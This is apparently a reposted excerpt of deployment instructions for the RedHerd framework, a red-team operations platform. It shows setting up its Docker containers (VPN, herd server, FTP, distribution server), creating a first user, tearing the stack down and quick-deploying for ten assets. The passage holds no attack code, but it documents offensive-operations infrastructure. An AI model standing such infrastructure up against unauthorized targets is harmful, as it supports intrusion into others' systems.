$ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 07839fcaec7e dstrsrv:latest “/docker-entrypoint.…” About a minute ago Up About a minute 80/tcp, 0.0.0.0:8443->443/tcp, :::8443->443/tcp dstrsrv 48beb5cb7eb8 herdview:latest “/docker-entrypoint.…” About a minute ago Up About a minute 80/tcp herdview f3fec616f317 ftpsrv:latest “/bin/sh -c ‘/run.sh…” 4 minutes ago Up 4 minutes 21/tcp, 30000-30009/tcp ftpsrv e12362fa5dca herdsrv:latest “docker-entrypoint.s…” 4 minutes ago Up 4 minutes 3000-3001/tcp herdsrv 4b5fe465f217 ovpnsrv:latest “ovpn_run” 7 minutes ago Up 7 minutes 0.0.0.0:1194->1194/udp, :::1194->1194/udp ovpnsrv

Initialize

Finally, the first user, aka the System User, has to be generated in order to initialize the framework:

$ sudo herd-cli user -a firstuser New User Password: [-] Attempting to create the new user [!] Operation successfully completed

Framework Management :: Intro

This section provides a deeper insight on how to fully manage the framework deployment process and all its features.

Destroy

The deploy script can also be used to take the framework down:

$ sudo ./deploy.sh -d

* #
** (#
** ((#
* #((# ( ( (((((( #((((
((((((((((((((((((((#
((((((((((((((((((
** (((((((((((
(((((((# ( ((( _ _ _ _ _
* ((( |/ | | \ || | |/ | \ **** (( | _ | |/ | | | | _ |/
*** ((#
*** (((
[*] Docker environment cleanup
ovpnsrv
Untagged: ovpnsrv:latest
Deleted: sha256:91e78a2d4ce5fb45970d261909f113d0062109702f8ec0ec757b2a7858ff5d23
Deleted: sha256:5693be9dc0dc0f0ecf136f37475a4b9adf31c0a72894b687822690db7e1f1e8c
Deleted: sha256:852d8501542f54dbe5754f7fd73d807c4203f66d62ff54d99c119419a02bca2b
Deleted: sha256:869c88433db452ed79c7162582047dcfbaf47b209317ec1fa6b71a9c40b96ecd
Deleted: sha256:6b07e4131caa0156ed54f2b2ce27f0c03a3d50e03cc3cc6767d1b69cf4a7205e
Deleted: sha256:0e459de7b327a61e34e29b6a07c06ea38797c5202e5e3819eee5f8a23553ca08
Deleted: sha256:b7404afcdd25a8b70ad5873c4094d13f1975a58acf81885e7d88de7288365c11
Deleted: sha256:b43b3ed5d13e7f800a5ec9e6d3072d32ece187eb182be07245910f95787f5093
Deleted: sha256:be6ba2aa03790eb8336b8464eb14cdcb34270e6cdb22d83a0e11b20919181214
Deleted: sha256:07fc7232db98106e694a0234a0ab7ba19286133832192a299a70ecec4dce5682
Deleted: sha256:e1c5528f18db384fa8373d701f3e61af0e2c1656733af27959ae587a83b457d4
Deleted: sha256:8f1cece9330a25a1cf795ba78562059f326138fbea5e2749d64dd5a3d70f4050
Deleted: sha256:9bfcecbeeb774e41e9561e686a4afb7f5012316ef7e271ab017082692b182298
Deleted: sha256:bfa09c8289fbcc8791c8a174d545cea0fa5f4617c26aa30f1b07ff494b010ad0
Deleted: sha256:45ba11e8699b99fec50b655797907112cc6246280f146774f42a33cca8cc8408
Deleted: sha256:36fcb8e0144e44d9c85aadb569122350252c74320b619dbf4cc458da3173cae4
Deleted: sha256:6ce35068dce464cfd49e7bfa8f0cb9ac384e687732d7d26074873ba63388b915
herdsrv
Untagged: herdsrv:latest
Deleted: sha256:58d8b77f4eaa2252921cd77d5cf[...]

___________________________
@hacking_Attack
@Hacking_Video

d496f29cd6fe6d23463b28ae8233d65e2731a
Deleted: sha256:116de39c14160d43d2a3fb24aed18b9c9b2228ae0d8e5cec533990c01548cf95
Deleted: sha256:b042ec9beedfd8aaa9b070900a080385ea705003a97633b2a3710b3a25c90740
Deleted: sha256:e68cb0e1bd2b8346e2de7dde87ae5d2b7dba3b1497cb30b954bebd6fe86edb52
Deleted: sha256:e17cca51ca5993a778056672511ae01f4b5231a14add9ea7dd7145a8cf24c9a9
Deleted: sha256:ecf85fbbcde4f995c90ad19b7da82314fd0bcacf8bc085c296e7dba33edf7551
Deleted: sha256:96797af7230236fe1eae96e3bea3ad38453c277f36c8a298d4ecc27cb1892eee
Deleted: sha256:693d0d723aced0e2121968489f25c1e8a206c7c170893777c251af498cedff6e
Deleted: sha256:4ea4c8116ce073d39f6b95fe774ad873ea072c171d2c78dd9e5e130bc6b2ff7a
Deleted: sha256:8bbf0fdc143fdc22558d4c2f120e59a655146f3f285775e071cc2e1f79b92339
Deleted: sha256:308cccf6a89553f19e45a79c043ac83025181ca1b3c00268ae765ec228626b2f
Deleted: sha256:4ca64ce92227b399e4749a970027b149b7e0ba167186f3822fae0c9c9e1391dc
Deleted: sha256:17d8b36dd94c4ddfbfe4784bdd20d9b6b5769f4eca6e4efdb43d01d5d6f0cfd4
Deleted: sha256:2e9271591c173b6ab793635240a224e830a8cc36cad9b21d7f1e772d95e8143d
Deleted: sha256:5c62079596e97e4221a3b510558e8853fa6fc1dae3549e8785b6777215984a46
Deleted: sha256:34631d73d29e214ffda5cda7e1660769a7dd3ca5736582bcc63a232f4d42cc7f
Deleted: sha256:5bf2516c48fa1fee5522ad761de3f8a4329b50fd8178b252e39cab3bc7db9b77
Deleted: sha256:81f6727d260bf8f8ba3c26e316c88e20673f294bc06e60ff28861f43d976493e
Deleted: sha256:1119f1e7303603bc416e90ae0c6b4124b23bfa9b2aafec1af4273782449c5914
ftpsrv
Untagged: ftpsrv:latest
Deleted: sha256:42f92a4ddd6dc98221542a9e28982ce9674bac081636edfcf8e86a5e04cc3af1
Deleted: sha256:d159c5cb39cc834e02e833c3ddb6bb6a9c80a4a6a9b653251c56d0284342cb1d
herdview
Untagged: herdview:latest
Deleted: sha256:8b351a7109b26167045ace8118ebd63fabb35db531973c664c9a103cc673a4db
Deleted: sha256:2c67a03feece34a56f65a77b37d345f3abfece9b97cf1f2631c4ea571148d5ce
dstrsrv
Untagged: dstrsrv:latest
Total reclaimed space: 0B
internal
ovpn-data-server
*

Once the script has completed, you can verify that no RedHerd dockers are up:

$ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

Quick-deploy

Select the external IP address to which all assets/clients will connect:

$ ip a
1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:15:5d:01:84:00 brd ff:ff:ff:ff:ff:ff
inet 172.23.163.163/20 brd 172.23.175.255 scope global dynamic noprefixroute eth0
valid_lft 82990sec preferred_lft 82990sec
inet6 fe80::ab6c:c19c:6d33:aff1/64 scope link noprefixroute
valid_lft forever preferred_lft forever

Deploy the framework for the desired number of assets/client (e.g. -a 10):

$ cd redherd-framework
$ sudo ./deploy.sh -s 172.23.163.163 -a 10

* #
** (#
** ((#
* #((# ( ( (((((( #((((
((((((((((((((((((((#
((((((((((((((((((
** (((((((((((
(((((((# ( ((( _ _ _ _ _
* ((( |/ | | \ || | |/ | \ **** (( | _ | |/ | | | | _ |/
*** ((#
*** (((
[*] DETECTED PARAMETERS:
[!] INIT DB: FALSE
[!] GENERATE CA: FALSE
[!] GENERATE CERTS: FALSE
[!] GENERATE KEYS: FALSE
[!] GENERATE USERS: FALSE
[!] PUBLIC HOSTNAME: 172.23.163.163
[!] ASSETS COUNT: 10
[!] VPN NET CIDR: 10.11.0.0/16
[!] DOCKER OVPNSRV NAME: ovpnsrv
[!] DOCKER OVPNSRV ADDRESS: 10.10.0.2
[!] DOCKER HERDSRV NAME: herdsrv
[!] DOCKER HERDSRV ADDRESS: 10.10.0.3
[!] DOCKER HERDVIEW NAME: herdview
[!] DOCKER HERDVIEW ADDRESS: 10.10.0.5
[!] DOCKER FTPSRV NAME: ftpsrv
[!] DOCKER FTPSRV ADDRESS: 10.10.0.4
[!] DOCKER DSTRSRV NAME: dstrsrv
Continue? [y/N]: y
*

Database re-initialization

Deploy the framework and re-initialize the local database:

$ cd redherd-f[...]

___________________________
@hacking_Attack
@Hacking_Video